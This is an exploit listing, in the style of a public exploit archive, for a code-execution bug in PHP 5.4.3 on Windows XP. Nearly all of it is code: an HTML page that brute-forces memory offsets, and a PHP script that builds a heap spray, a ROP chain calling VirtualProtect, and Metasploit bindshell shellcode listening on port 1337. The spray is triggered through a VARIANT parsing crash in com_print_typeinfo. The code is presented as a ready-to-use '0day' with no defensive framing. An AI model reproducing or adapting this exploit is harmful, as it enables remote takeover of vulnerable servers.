PHP 5.4.3 (Windows x86 Polish) – Code Execution
// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32) // Exploit author: 0in (Maksymilian Motyl) // Email: 0in(dot)email(at)gmail.com // * Bug with Variant type parsing originally discovered by Condis // Tested on Windows XP SP3 fully patched (Polish) =================== offset-brute.html =================== <html><body> <title>0day</title> <center> <font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br> <textarea rows=50 cols=50 id="log"></textarea> </center> <script> function sleep(milliseconds) { var start = new Date().getTime(); for (var i = 0; i < 1e7; i++) { if ((new Date().getTime() - start) > milliseconds){ break; } } } function makeRequest(url, parameters) { var xmlhttp = new XMLHttpRequest(); if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); if (xmlhttp.overrideMimeType) { xmlhttp.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { // IE try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!xmlhttp) { alert('Giving up :( Cannot create an XMLHTTP instance'); return false; } xmlhttp.open("GET",url,true); xmlhttp.send(null); return true; } test=document.getElementById("log"); for(offset=0;offset<300;offset++) { log.value+="Trying offset:"+offset+"\r\n"; makeRequest("0day.php?offset="+offset); sleep(500); } </script></body></html> =================== 0day.php =================== <?php $spray = str_repeat("\x90",0x200); $offset=$_GET['offset']; // 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll] $spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1); // :> 0x048d0030 $spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1); //0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll] $spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1); // Adress of VirtualProtect 0x7c801ad4 $spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1); // LPVOID lpAddress = 0x048d0060 $spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1); // SIZE_T dwSize = 0x01000000 $spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1); // DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0 $spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1); // __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000 // 0x048d0068 $spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1); //0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll] $spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4); // Ret Address = 0x048d0080 $spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4); $stacktrack = "\xbc\x0c\xb0\xc0\x00"; // Universal win32 bindshell on port 1337 from metasploit $shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0". "\x81\xc4\xd0\xfd\xff\xff". "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d". "\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96". "\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2". "\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0". "\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41". "\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82". "\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2". "\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39". "\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9". "\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b". "\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a". "\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88". "\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01". "\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20". "\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e". "\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39". "\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44". "\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96". "\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38". "\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9". "\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09". "\x4e\x33\xe4\x96\xcd\xcc\x32\x69"; $spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode))); $fullspray=""; for($i=0;$i<0x4b00;$i++) { $fullspray.=$spray; } $j=array(); $e=array(); $b=array(); $a=array(); $c=array(); array_push($j,$fullspray); array_push($e,$fullspray."W"); array_push($b,$fullspray."A"); array_push($a,$fullspray."S"); array_push($c,$fullspray."!"); $vVar = new VARIANT(0x048d0038+$offset); // Shoot him com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10] echo $arr; echo $spray; ?> |